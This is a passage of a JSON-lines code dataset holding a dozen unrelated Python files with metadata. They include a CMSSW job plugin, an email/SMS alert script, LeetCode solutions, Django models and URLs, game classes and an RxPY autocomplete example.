angles[stimlist]\n #difference in angles\n dRho = concatenate([diff(trAngles[:,:2]),diff(trAngles[:,2:])],axis=1)\n #difference in distances\n dist = zeros(dRho.shape)\n dist[:,0] = sqrt((trRadii[:,:2]**2).sum(axis=1) -2 * trRadii[:,:2].prod(axis=1) * cos(dRho[:,0]))\n dist[:,1] = sqrt((trRadii[:,2:]**2).sum(axis=1) -2 * trRadii[:,2:].prod(axis=1) * cos(dRho[:,1]))\n d_dist = dist[:,1] -dist[:,0]\n #probability of choices as given by estimated parameters\n p = norm.cdf(d_dist,0,sigma)**(1-responses) * (1-norm.cdf(d_dist,0,sigma))**(responses)\n #combined to negative log likelihood\n negLL = - sum(log(p))\n return negLL\n\ndef mode(ndarray, axis=0):\n # Check inputs\n ndarray = numpy.asarray(ndarray)\n ndim = ndarray.ndim\n if ndarray.size == 1:\n return (ndarray[0], 1)\n elif ndarray.size == 0:\n raise Exception('Cannot compute mode on empty array')\n try:\n axis = range(ndarray.ndim)[axis]\n except:\n raise Exception('Axis \"{}\" incompatible with the {}-dimension array'.format(axis, ndim))\n\n # If array is 1-D and numpy version is > 1.9 numpy.unique will suffice\n if all([ndim == 1,\n int(numpy.__version__.split('.')[0]) >= 1,\n int(numpy.__version__.split('.')[1]) >= 9]):\n modals, counts = numpy.unique(ndarray, return_counts=True)\n index = numpy.argmax(counts)\n return modals[index], counts[index]\n\n # Sort array\n sort = numpy.sort(ndarray, axis=axis)\n # Create array to transpose along the axis and get padding shape\n transpose = numpy.roll(numpy.arange(ndim)[::-1], axis)\n shape = list(sort.shape)\n shape[axis] = 1\n # Create a boolean array along strides of unique values\n strides = numpy.concatenate([numpy.zeros(shape=shape, dtype='bool'),\n numpy.diff(sort, axis=axis) == 0,\n numpy.zeros(shape=shape, dtype='bool')],\n axis=axis).transpose(transpose).ravel()\n # Count the stride lengths\n counts = numpy.cumsum(strides)\n counts[~strides] = numpy.concatenate([[0], numpy.diff(counts[~strides])])\n counts[strides] = 0\n # Get shape of padded counts and slice to return to the original shape\n shape = numpy.array(sort.shape)\n shape[axis] += 1\n shape = shape[transpose]\n slices = [slice(None)] * ndim\n slices[axis] = slice(1, None)\n # Reshape and compute final counts\n counts = counts.reshape(shape).transpose(transpose)[slices] + 1\n\n # Find maximum counts and return modals/counts\n slices = [slice(None, i) for i in sort.shape]\n del slices[axis]\n index = numpy.ogrid[slices]\n index.insert(axis, numpy.argmax(counts, axis=axis))\n return sort[index], counts[index]\n\n\nif __name__ == '__main__':\n global model#necessary for fit to be unpickled. global bc lazy \n global base\n base = r'C:\\Users\\neugebauer\\Documents\\Experiments\\MAPDS\\testData'\n os.chdir(base)\n os.chdir('..') \n model = [pickle.load(open(join(os.getcwd(),'stanModels','harmonic_model_{}.pic'.format(x)),'rb')) for x in ['wide','narrow']]\n os.chdir('testData')\n subjects = findSubjects(base)\n os.chdir(base)#from now on everything is relative\n [analPlot(s,p,m) for s in subjects for p in [2,4] for m in ['narrow']]\n","sub_path":"functions/harmonicAnalyzeChains_mean.py","file_name":"harmonicAnalyzeChains_mean.py","file_ext":"py","file_size_in_byte":7071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"646793830","text":"\"\"\"\nCMSSW job type plug-in\n\"\"\"\n\nimport os\nimport tempfile\n\nfrom WMCore.DataStructs.LumiList import LumiList\n\nimport PandaServerInterface as PandaInterface\n\nfrom CRABClient.JobType.BasicJobType import BasicJobType\nfrom CRABClient.JobType.CMSSWConfig import CMSSWConfig\nfrom CRABClient.JobType.LumiMask import getLumiMask\nfrom CRABClient.JobType.UserTarball import UserTarball\nfrom CRABClient.JobType.ScramEnvironment import ScramEnvironment\nfrom CRABClient.client_exceptions import EnvironmentException\n\nclass Analysis(BasicJobType):\n \"\"\"\n CMSSW job type plug-in\n \"\"\"\n\n\n def run(self, requestConfig):\n \"\"\"\n Override run() for JobType\n \"\"\"\n configArguments = {'addoutputfiles' : [],\n 'adduserfiles' : [],\n 'tfileoutfiles' : [],\n 'edmoutfiles' : [],\n }\n\n # Get SCRAM environment\n scram = ScramEnvironment(logger=self.logger)\n\n configArguments.update({'jobarch' : scram.scramArch,\n 'jobsw' : scram.cmsswVersion, })\n\n # Build tarball\n if self.workdir:\n tarUUID = PandaInterface.wrappedUuidGen()\n self.logger.debug('UNIQUE NAME: tarUUID %s ' % tarUUID)\n if len(tarUUID):\n tarFilename = os.path.join(self.workdir, tarUUID +'default.tgz')\n cfgOutputName = os.path.join(self.workdir, 'CMSSW_cfg.py')\n else:\n raise EnvironmentException('Problem with uuidgen while preparing for Sandbox upload.')\n else:\n _dummy, tarFilename = tempfile.mkstemp(suffix='.tgz')\n _dummy, cfgOutputName = tempfile.mkstemp(suffix='_cfg.py')\n\n #configArguments['userisburl'] = 'https://'+ self.config.General.ufccacheUrl + '/crabcache/file?hashkey=' + uploadResults['hashkey']#XXX hardcoded\n #configArguments['userisburl'] = 'INSERTuserisburl'#XXX hardcoded\n if getattr(self.config.Data, 'inputDataset', None):\n configArguments['inputdata'] = self.config.Data.inputDataset\n# configArguments['ProcessingVersion'] = getattr(self.config.Data, 'processingVersion', None)\n\n # Create CMSSW config\n self.logger.debug(\"self.config: %s\" % self.config)\n self.logger.debug(\"self.config.JobType.psetName: %s\" % self.config.JobType.psetName)\n cmsswCfg = CMSSWConfig(config=self.config, logger=self.logger,\n userConfig=self.config.JobType.psetName)\n\n # Interogate CMSSW config and user config for output file names, for now no use for edmFiles or TFiles here.\n analysisFiles, edmFiles = cmsswCfg.outputFiles()\n self.logger.debug(\"TFiles %s and EDM Files %s will be collected\" % (analysisFiles, edmFiles))\n configArguments['tfileoutfiles'] = analysisFiles\n configArguments['edmoutfiles'] = edmFiles\n\n outputFiles = getattr(self.config.JobType, 'outputFiles', [])\n self.logger.debug(\"User files %s will be collected\" % outputFiles)\n configArguments['addoutputfiles'].extend(outputFiles)\n\n # Write out CMSSW config\n cmsswCfg.writeFile(cfgOutputName)\n\n with UserTarball(name=tarFilename, logger=self.logger, config=self.config) as tb:\n inputFiles = getattr(self.config.JobType, 'inputFiles', [])\n tb.addFiles(userFiles=inputFiles, cfgOutputName=cfgOutputName)\n configArguments['adduserfiles'] = [os.path.basename(f) for f in inputFiles]\n uploadResults = tb.upload()\n\n self.logger.debug(\"Result uploading input files: %s \" % str(uploadResults))\n configArguments['cachefilename'] = uploadResults[1]\n configArguments['cacheurl'] = uploadResults[0]\n isbchecksum = uploadResults[2]\n\n # Upload list of user-defined input files to process as the primary input\n userFileName = getattr(self.config.Data, 'userInputFile', None)\n if userFileName:\n self.logger.debug(\"Attaching a list of user-specified primary input files from %s.\" % userFileName)\n fnames = []\n for fname in open(userFileName).readlines():\n fnames.append(fname.strip())\n configArguments['userfiles'] = fnames\n\n primDS = getattr(self.config.Data, 'primaryDataset', None)\n if primDS:\n # Normalizes \"foo/bar\" and \"/foo/bar\" to \"/foo/bar\"\n primDS = \"/\" + os.path.join(*primDS.split(\"/\"))\n if not re.match(\"/%(primDS)s.*\" % WMCore.Lexicon.lfnParts, primDS):\n self.logger.warning(\"Invalid primary dataset name %s for private MC; publishing may fail\" % primDS)\n configArguments['inputdata'] = primDS\n elif getattr(self.config.Data, 'inputDataset', None):\n configArguments['inputdata'] = self.config.Data.inputDataset\n else:\n configArguments['inputdata'] = \"/CRAB_UserFiles\"\n\n # Upload lumi mask if it exists\n lumiMaskName = getattr(self.config.Data, 'lumiMask', None)\n if lumiMaskName:\n self.logger.debug(\"Attaching lumi mask %s to the request\" % lumiMaskName)\n lumiDict = getLumiMask(config=self.config, logger=self.logger)\n configArguments['runs'] = lumiDict.keys()\n #for each run we'll encode the lumis as a string representing a list of integers\n #[[1,2],[5,5]] ==> '1,2,5,5'\n configArguments['lumis'] = [ str(reduce(lambda x,y: x+y, \\\n lumiDict[run]))[1:-1].replace(' ','') \\\n for run in configArguments['runs'] ]\n\n configArguments['jobtype'] = 'Analysis'\n\n return tarFilename, configArguments, isbchecksum\n\n\n def validateConfig(self, config):\n \"\"\"\n Validate the CMSSW portion of the config file making sure\n required values are there and optional values don't conflict\n \"\"\"\n\n valid, reason = self.validateBasicConfig(config)\n if not valid:\n return (valid, reason)\n\n if not getattr(config.Data, 'inputDataset', None) and not getattr(config.Data, 'userInputFile', None):\n valid = False\n reason += 'Crab configuration problem: missing or null input dataset name. '\n\n if self.splitAlgo == 'EventBased': \n valid = False\n reason += 'Analysis JobType does not support EventBased Splitting.'\n\n return (valid, reason)\n\n def validateBasicConfig(self, config):\n \"\"\"\n Validate the common portion of the config for data and MC making sure\n required values are there and optional values don't conflict\n \"\"\"\n\n valid = True\n reason = ''\n\n if not getattr(config, 'Data', None):\n valid = False\n reason += 'Crab configuration problem: missing Data section. '\n\n self.splitAlgo = getattr(config.Data, 'splitting', None)\n if not self.splitAlgo:\n valid = False\n reason += 'Crab configuration problem: missing or null splitting algorithm. '\n\n if not getattr(config.JobType, 'psetName', None):\n valid = False\n reason += 'Crab configuration problem: missing or null CMSSW config file name. '\n\n return (valid, reason)\n","sub_path":"src/python/CRABClient/JobType/Analysis.py","file_name":"Analysis.py","file_ext":"py","file_size_in_byte":7413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"573318983","text":"import smtplib\nimport json\nfrom email.message import EmailMessage\nfrom twilio.rest import Client\nimport os\n\n\n# with open('bot_alert.json') as f:\n# \t\tdata = json.load(f)\n\ndef email_alerts(subject, body, to):\n# print('alerting..')\n\n msg = EmailMessage()\n msg['Subject'] = subject\n msg['To'] = to\n msg['From'] = 'Task Master Alerts'\n msg.set_content(body)\n\n user = os.environ['USERNAME']\n passwd = os.environ['APP_PASS']\n\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.starttls()\n server.login(user, passwd)\n server.send_message(msg)\n server.quit()\n\ndef phone_carrier(number):\n sid = os.environ['TWIL_SID']\n tok = os.environ['TWIL_TOK']\n client = Client(sid, tok)\n phone = client.lookups \\\n .phone_numbers(number)\\\n .fetch(type=['carrier'])\n \n return phone.carrier['name']\n\ndef phone_alerts(number, subject,body):\n c = str(phone_carrier(number)).lower()\n\n avail={\n \"t-mobile\" : \"@tmomail.net\",\n 'at&t': '@txt.att.net',\n 'boost': '@sms.myboostmobile.com',\n 'cricket': '@mms.cricketwireless.net',\n 'sprint': '@messaging.sprintpcs.com',\n 'verizon': '@vtext.com'\n }\n # print(c)\n temp = ''\n for key in avail:\n if key in c:\n temp = avail[key]\n return email_alerts(subject, body, f'{number}{temp}')\n\n\n\nif __name__ == '__main__':\n email_alerts('asd','asd','junhyxf@gmail.com')\n\n\n\n\n","sub_path":"alert_program.py","file_name":"alert_program.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"378482467","text":"# -*- coding: utf-8 -*-\r\n# @Author: LiLing\r\n# @Date: 2018-09-11 10:53:24\r\n# @Last Modified by: Liling\r\n# @Last Modified time: 2018-09-11 12:48:54\r\n\"\"\"\r\n给定一个无向图graph,当这个图为二分图时返回true。\r\n如果我们能将一个图的节点集合分割成两个独立的子集A和B,并使图中的每一条边的两个节点一个来自A集合,一个来自B集合,我们就将这个图称为二分图。\r\ngraph将会以邻接表方式给出,graph[i]表示图中与节点i相连的所有节点。每个节点都是一个在0到graph.length-1之间的整数。这图中没有自环和平行边: \r\ngraph[i] 中不存在i,并且graph[i]中没有重复的值。\r\n\r\n\r\n示例 1:\r\n输入: [[1,3], [0,2], [1,3], [0,2]]\r\n输出: true\r\n解释: \r\n无向图如下:\r\n0----1\r\n| |\r\n| |\r\n3----2\r\n我们可以将节点分成两组: {0, 2} 和 {1, 3}。\r\n\r\n示例 2:\r\n输入: [[1,2,3], [0,2], [0,1,3], [0,2]]\r\n输出: false\r\n解释: \r\n无向图如下:\r\n0----1\r\n| \\ |\r\n| \\ |\r\n3----2\r\n我们不能将节点分割成两个独立的子集。\r\n注意:\r\n\r\ngraph 的长度范围为 [1, 100]。\r\ngraph[i] 中的元素的范围为 [0, graph.length - 1]。\r\ngraph[i] 不会包含 i 或者有重复的值。\r\n图是无向的: 如果j 在 graph[i]里边, 那么 i 也会在 graph[j]里边。\r\n\"\"\"\r\nclass Solution:\r\n def isBipartite(self, graph):\r\n \"\"\"\r\n :type graph: List[List[int]]\r\n :rtype: bool\r\n \"\"\"\r\n def validColor(graph, colors, color, node):\r\n if colors[node] != -1:\r\n return colors[node] == color\r\n colors[node] =color\r\n for j in graph[node]:\r\n if not validColor(graph, colors, 1 - color, j):\r\n return False\r\n return True\r\n \r\n n = len(graph)\r\n colors = [-1]*n\r\n for i in range(n):\r\n if colors[i]==-1 and not validColor(graph, colors, 0, i):\r\n return False\r\n\r\n return True\r\n\r\nclass Solution:\r\n def isBipartite(self, graph):\r\n \"\"\"\r\n :type graph: List[List[int]]\r\n :rtype: bool\r\n \"\"\"\r\n WHITE, BLACK = range(2)\r\n\r\n if not graph:\r\n return True\r\n\r\n def dfs(node, color=WHITE):\r\n if node in colormap:\r\n return colormap[node] == color\r\n # assign color to node\r\n colormap[node] = color\r\n # toggle color\r\n color = BLACK if color == WHITE else WHITE\r\n # check following nodes\r\n return all(dfs(neighbor, color) for neighbor in graph[node])\r\n\r\n colormap = {}\r\n # check graph nodes\r\n return all(dfs(node) for node in range(len(graph)) if node not in colormap)\r\n\r\ns=Solution()\r\nprint(s.isBipartite([[1],[0,3],[3],[1,2]]))","sub_path":"LeetCode/785.IsGraphBipartite判断二分图(递归).py","file_name":"785.IsGraphBipartite判断二分图(递归).py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"237271814","text":"import sys\n\ndef handleForceExit(ClassName):\n object = ClassName()\n try:\n object.execute()\n except KeyboardInterrupt:\n object.closeConnection()\n sys.exit(1)\n\ndef parseInt(stringToParse):\n try:\n if not stringToParse: return None\n return int(stringToParse)\n except:\n print('Cannot convert string to integer')\n return None","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"153679835","text":"# 방금 그곡 - 구현 - 17683\n'''\n라디오를 자주 듣는 네오는 라디오에서 방금 나왔던 음악이 무슨 음악인지 궁금해질 때가 많다. \n그럴 때 네오는 다음 포털의 '방금그곡' 서비스를 이용하곤 한다. \n방금그곡에서는 TV, 라디오 등에서 나온 음악에 관해 제목 등의 정보를 제공하는 서비스이다.\n\n네오는 기억한 멜로디를 재생 시간과 제공된 악보를 직접 보면서 비교하려고 한다. 다음과 같은 가정을 할 때 네오가 찾으려는 음악의 제목을 구하여라.\n\n\n방금그곡 서비스에서는 음악 제목, 재생이 시작되고 끝난 시각, 악보를 제공한다.\n네오가 기억한 멜로디와 악보에 사용되는 음은 C, C#, D, D#, E, F, F#, G, G#, A, A#, B 12개이다.\n각 음은 1분에 1개씩 재생된다. 음악은 반드시 처음부터 재생되며 음악 길이보다 재생된 시간이 길 때는 음악이 끊김 없이 처음부터 반복해서 재생된다. 음악 길이보다 재생된 시간이 짧을 때는 처음부터 재생 시간만큼만 재생된다.\n음악이 00:00를 넘겨서까지 재생되는 일은 없다.\n조건이 일치하는 음악이 여러 개일 때에는 라디오에서 재생된 시간이 제일 긴 음악 제목을 반환한다. 재생된 시간도 같을 경우 먼저 입력된 음악 제목을 반환한다.\n조건이 일치하는 음악이 없을 때에는 “(None)”을 반환한다.\n'''\nimport datetime\n\n\ndef solution(m, musicinfos):\n # musicinfos에서 재생시간을 구한다......\n times = [(datetime.datetime.strptime(i.split(\n ',')[1], '%H:%M') - datetime.datetime.strptime(i.split(',')[0], '%H:%M')).seconds//60 for i in musicinfos]\n\n # print(times)\n\n # melody를 재생시간만큼 반복시켜 구한다..\n melodys = []\n for i, musicinfo in enumerate(musicinfos):\n music = musicinfo.split(',')[-1]\n # print(shop_count)\n music *= (times[i]) # 범위 실수 했었음\n # print(music)\n shop_count = music[:times[i]+1].count('#')\n # print(shop_count)\n melody = ''\n for j in range(times[i]+shop_count):\n melody += music[j]\n melodys.append(melody)\n # print(melodys)\n\n # C# 같은애들 소문자로 치환..\n new_melodys = []\n for melody in melodys:\n if 'C#' in melody:\n melody = melody.replace('C#', 'c')\n new_melodys.append(melody)\n elif 'D#' in melody:\n melody = melody.replace('D#', 'd')\n new_melodys.append(melody)\n elif 'F#' in melody:\n melody = melody.replace('F#', 'f')\n new_melodys.append(melody)\n elif 'G#' in melody:\n melody = melody.replace('G#', 'g')\n new_melodys.append(melody)\n elif 'A#' in melody:\n melody = melody.replace('A#', 'a')\n new_melodys.append(melody)\n else:\n new_melodys.append(melody)\n # print(new_melodys)\n\n if 'C#' in m:\n m = m.replace('C#', 'c')\n elif 'D#' in m:\n m = m.replace('D#', 'd')\n elif 'F#' in m:\n m = m.replace('F#', 'f')\n elif 'G#' in m:\n m = m.replace('G#', 'g')\n elif 'A#' in m:\n m = m.replace('A#', 'a')\n\n # print(new_melodys)\n # print(m)\n\n temp = []\n for i in range(len(new_melodys)):\n # 주어진 음이 멜로디들 안에 포함되어 있으면 인덱스를 저장인데\n if m in new_melodys[i]:\n temp.append(i)\n if temp == []:\n return \"(None)\"\n\n # 같은 멜로디가 포함된 노래가 있을경우 - 재생시간이 긴 것을 출력하라고 했다. 그래서 위에서 인덱스 저장\n max_len_music = 0 # 재생시간이 제일 긴 노래\n for t in temp:\n if max_len_music <= times[t]:\n max_len_music = times[t]\n\n # 그노래의 인덱스\n idx = times.index(max_len_music)\n # 답안 도출\n\n return musicinfos[idx].split(',')[2]\n\n\n# print(\n# solution('ABCDEFG', [\"12:00,12:14,HELLO,CDEFGAB\", \"13:00,13:05,WORLD,ABCDEF\"]))\n# print(solution('CC#BCC#BCC#BCC#B', [\n# \"03:00,03:30,FOO,CC#B\", \"04:00,04:08,BAR,CC#BCC#BCC#B\"]))\nprint(\n solution('ABC#', [\"12:00,12:14,HELLO,C#DEFGAB\", \"13:00,13:05,WORLD,ABCDEF\"]))\n# print(\n# solution('ABC#', [\"12:15,12:14,HELLO,C#DEFGAB\", \"13:00,13:05,WORLD,ABCDEF\"]))\n","sub_path":"python/programmers/구현/[17683_구현_방금그곡]홍종완.py","file_name":"[17683_구현_방금그곡]홍종완.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"439468396","text":"from abc import ABCMeta, abstractmethod\n\n#추상 클래스\nclass Character(metaclass=ABCMeta):\n def __init__(self, name, hp, power):\n self.name=name\n self.hp=hp\n self.power=power\n\n @abstractmethod\n def attack(self, other, attack_kind):\n pass\n\n @abstractmethod\n def get_damage(self, power, attack_kind):\n pass\n\n def __str__(self):\n return '{} : {}'.format(self.name, self.hp)\n\nclass Player(Character):\n def __init__(self, name='player', hp=100, power=10, *attack_kinds):\n super().__init__(name, hp, power)\n\n self.skills=[]\n for attack_kind in attack_kinds:\n self.skills.append(attack_kind)\n\n def attack(self, other, attack_kind):\n if attack_kind in self.skills:\n other.get_damage(self.power, attack_kind)\n\n def get_damage(self, power, attack_kind):\n \"\"\"\n attack_kind가 self.skills에 있으면 피해가 반감\n \"\"\"\n if attack_kind in self.skills:\n self.hp-= (power//2)\n else:\n self.hp-=power\n\n#공통된 부분은 부모 클래스로 만들어 둔다.\nclass Monster(Character):\n def __init__(self, name, hp, power):\n super().__init__(name, hp, power)\n self.attack_kind=None\n\n def attack(self, other, attack_kind):\n if self.attack_kind==attack_kind:\n other.get_damage(self.power, attack_kind)\n\n #공격 받을 때 \n #불 몬스터의 경우 불 공격을 받으면 오히려 체력이 증가!!\n #얼음 공격을 받으면 체력이 깎인다.\n def get_damage(self, power, attack_kind):\n \"\"\"\n 몬스터는 같은 속성의 공격을 받으면 체력이 증가!!\n \"\"\"\n if self.attack_kind==attack_kind:\n self.hp+=power\n else:\n self.hp-=power\n\n def get_attack_kind(self):\n return self.attack_kind\n\nclass IceMonster(Monster):\n def __init__(self, name='Ice monster', hp=50, power=10):\n super().__init__(name, hp, power)\n self.attack_kind='ICE'\n\nclass FireMosnter(Monster):\n def __init__(self, name='Fire monster', hp=50, power=20):\n super().__init__(name, hp, power)\n self.attack_kind='FIRE'\n\nif __name__==\"__main__\":\n player=Player('sword master', 100, 30, 'ICE')\n monsters=[]\n monsters.append(IceMonster())\n monsters.append(FireMosnter())\n\n for monster in monsters:\n print(monster)\n\n for monster in monsters:\n player.attack(monster, 'ICE')\n\n print('after the player attacked')\n for monster in monsters:\n print(monster)\n print()\n\n print(player)\n\n for monster in monsters:\n #플레이어가 ICE 공격 가짐\n #아이스 몬스터 공격시 5만 깎임\n #파이어 몬스터 공격시 20이 깎임\n monster.attack(player, monster.get_attack_kind())\n \n print('after monsters attacked')\n print(player)\n","sub_path":"class/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"432949569","text":"from django.db import models\r\nfrom django.contrib.auth.models import AbstractUser\r\nimport json\r\n# Create your models here.\r\n#用户\r\nclass User(AbstractUser):\r\n qq = models.CharField(max_length=20, blank=True, null=True, verbose_name='QQ号码')\r\n mobile = models.CharField(max_length=11, blank=True, null=True, unique=True, verbose_name='手机号码')\r\n\r\n class Meta:\r\n verbose_name = '用户'\r\n verbose_name_plural = verbose_name\r\n ordering = ['-id']\r\n\r\n def __str__(self):\r\n return self.username\r\n\r\nclass behaviours(models.Model):\r\n user = models.ForeignKey(User, verbose_name='用户',on_delete=models.CASCADE,)\r\n imgId = models.CharField(max_length=100, verbose_name='图片ID')\r\n # startTime = models.CharField(max_length=300, verbose_name='开始时间')\r\n # endTime = models.CharField(max_length=300, verbose_name='结束时间')\r\n startTime = models.CharField(max_length=300, verbose_name='开始时间')\r\n endTime = models.CharField(max_length=300, verbose_name='结束时间')\r\n clickCounter = models.IntegerField(default=0, verbose_name='鼠标选中次数')\r\n Interval = models.FloatField(default=0.0, verbose_name='持续时间(s)')\r\n humanBehavior = models.CharField(max_length=2000, verbose_name='用户行为')\r\n machineBehavior = models.CharField(max_length=2000, verbose_name='机器行为')\r\n inputLogs = models.CharField(max_length=3000, verbose_name='文本框日志')\r\n annotation = models.CharField(max_length=2000, verbose_name='标注结果')\r\n imageUrl= models.CharField(max_length=1000,verbose_name='图片路径')\r\n # imageFile= models.ImageField(upload_to='clothing/%Y/%m', default= 'clothing/default.jpg', verbose_name='图片路径')\r\n\r\n class Meta:\r\n verbose_name = '行为'\r\n verbose_name_plural = verbose_name \r\n ordering = ['id']\r\n\r\n # def __str__(self):\r\n # return self.user.username + \"--\" + self.imgId+ \"--\" +self.annotation\r\n\r\nclass picturesTab(models.Model):\r\n imgId= models.CharField(max_length=100,verbose_name='图片ID')\r\n imageUrl= models.CharField(max_length=100,verbose_name='图片路径')\r\n aiRecommenddations= models.CharField(max_length=200,verbose_name='机器推荐描述')\r\n class Meta:\r\n verbose_name = '图片库'\r\n verbose_name_plural = verbose_name\r\n ordering = ['id']\r\n\r\nclass workStack(models.Model):\r\n user = models.ForeignKey(User, verbose_name='用户',on_delete=models.CASCADE,)\r\n imgId= models.CharField(max_length=100,verbose_name='图片ID')\r\n serialNumber= models.IntegerField(default=0, verbose_name='标注序列号')\r\n class Meta:\r\n verbose_name = '工作栈'\r\n verbose_name_plural = verbose_name\r\n ordering = ['id']\r\n\r\nimport csv\r\nfrom django.http import HttpResponse\r\nfrom django.utils.http import urlquote\r\ndef export_as_csv_action(description='Export selected objects as csv file',\r\n fields=None,exclude=None,header=True):\r\n def export_as_csv(modeladmin,request,queryset):\r\n opts=modeladmin.model._meta\r\n if not fields:\r\n field_names=[field for field in opts]\r\n else:\r\n field_names=fields\r\n response = HttpResponse( content_type = 'text/csv')\r\n response['Content-Disposition']='attachment;filename={}.csv'.format(urlquote(opts.verbose_name))\r\n writer = csv.writer(response)\r\n if header:\r\n writer.writerow(field_names)\r\n for obj in queryset:\r\n \r\n # 正常的这样处理就行了\r\n row = [getattr(obj,field)()if callable(getattr(obj,field))else getattr(obj,field) for field in field_names]\r\n\r\n # 如果新添处理功能比如处理下时间的显示格式\r\n # row=[]\r\n # forfieldinfield_names:\r\n # value=getattr(obj,field)\r\n # ifisinstance(value,datetime.datetime):\r\n # value=value.'WW^sY')\r\n # row.append(value)\r\n\r\n writer.writerow(row)\r\n return response\r\n export_as_csv.short_description = description\r\n return export_as_csv\r\n","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"383135864","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def levelOrder(self, root: 'TreeNode') -> 'List[List[int]]':\n if not root: return []\n queue = [root]\n ans = []\n while queue:\n i, length = 0, len(queue)\n cur = []\n while i < length: # Fix length, store & pop value in same level\n n = queue.pop(0)\n cur.append(n.val)\n if n and n.left: queue.append(n.left)\n if n and n.right: queue.append(n.right)\n i += 1\n ans.append(cur[:])\n return ans \n","sub_path":"src/102-binary-tree-level-order-traversal.py","file_name":"102-binary-tree-level-order-traversal.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"583868842","text":"\"\"\"\nRxPY example running a Tornado server doing search queries against\nWikipedia to populate the autocomplete dropdown in the web UI. Start\nusing `python autocomplete.py` and navigate your web browser to\nhttp://localhost:8080\nUses the RxPY AsyncIOScheduler (Python 3.4 is required)\n\"\"\"\n\nimport os\nimport rx\nasyncio = rx.config['asyncio']\n\nfrom rx.subjects import Subject\nfrom rx.concurrency import AsyncIOScheduler\nfrom time import sleep\n\n\nscheduler = AsyncIOScheduler()\n\n\ndef search_wikipedia(term):\n \"\"\"Search Wikipedia for a given term\"\"\"\n url = 'http://en.wikipedia.org/w/api.php'\n\n params = {\n \"action\": 'opensearch',\n \"search\": term,\n \"format\": 'json'\n }\n # Must set a user agent for non-browser requests to Wikipedia\n user_agent = \"RxPY/1.0 (https://github.com/dbrattli/RxPY; dag@brattli.net) Tornado/4.0.1\"\n\n url = url_concat(url, params)\n\n http_client = AsyncHTTPClient()\n return http_client.fetch(url, method='GET', user_agent=user_agent)\n\n\nclass WSHandler():\n def open(self):\n print(\"WebSocket opened\")\n\n # A Subject is both an observable and observer, so we can both subscribe\n # to it and also feed (send) it with new values\n self.subject = Subject()\n\n # Get all distinct key up events from the input and only fire if long enough and distinct\n searcher = (self.subject\n .map(lambda x: x[\"term\"])\n # Only if the text is longer than 2 characters\n .filter(lambda text: len(text) > 2)\n .debounce(750) # Pause for 750ms\n .distinct_until_changed() # Only if the value has changed\n .flat_map_latest(search_wikipedia)\n )\n\n def handle_response(x):\n print(x.body)\n\n def on_error(ex):\n print(ex)\n\n searcher.subscribe(handle_response, on_error, scheduler=scheduler)\n\n def on_message(self, message):\n obj = json_decode(message)\n self.subject.on_next(obj)\n\n\ndef main():\n AsyncIOMainLoop().install()\n asyncio.get_event_loop().run_forever()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"async_autocomplete.py","file_name":"async_autocomplete.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"652493430","text":"\nfrom django.urls import path,include\nfrom django.contrib import admin\n\n# from .views import (\n# FoodsListView,\n# FoodsDetailView,\n# RestaurantsListView,\n# RestaurantsDetailView\n# # ArticleCreateView,\n# # ArticleUpdateView,\n# # ArticleDeleteVie w\n# )\nfrom .views import (\n # FoodsListView,\n # FoodsDetailView,\n RestaurantsListView,\n RestaurantsDetailView,\n RestaurantsCreateView,\n RestaurantsUpdateView,\n RestaurantsDeleteView,\n TrendingListView\n # ArticleCreateView,\n # ArticleUpdateView,\n # ArticleDeleteView\n)\n\nurlpatterns = [\n # path('Foods', FoodsListView.as_view()),\n # path('', RestaurantsListView.as_view()),\n # path('Foods', FoodsListView.as_view()),\n path('Restaurants', RestaurantsListView.as_view()),\n path('Trending/', TrendingListView.as_view()),\n # path('login', LoginView.as_view()),\n path('Restaurants/create/', RestaurantsCreateView.as_view()),\n # path('creat e/', ArticleCreateView.as_view()),\n # path('', FoodsDetailView.as_view()),\n path('Restaurants/', RestaurantsDetailView.as_view()),\n path('Restaurants//update/', RestaurantsUpdateView.as_view()),\n path('Restaurants//delete/', RestaurantsDeleteView.as_view()),\n # path('admin/', admin.site.urls),\n # path('create/', ArticleCreateView.as_view()),\n # path('', FoodsDetailView.as_view()),\n # path('/update/', ArticleUpdateView.as_view()),\n # path('/delete/', ArticleDeleteView.as_view())\n]\n","sub_path":"restaurant/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"316355729","text":"import numpy as np\nimport pylab\nimport matplotlib.pyplot as plt\nfrom astropy.io import ascii\n\ndebug0 = True\t\t# See the raw signal\ndebug = False\t\t# Set to true to plot graphs\ndebug1 = True\t\t# Set to true to plot graphs\ndebug2 = False\t\t# Good and bad examples\ndebug3 = True\t\t# deltas heatmap\n\n\nstep1 = True\nstep2 = True\n\n\ndef compare_signal(signal, samples_per_symbol, packet_size, samples_between_packets):\n\n\t#signal = signal[50000:-1]\n\tprint(\"samples:\t\t\t\t\t\" + 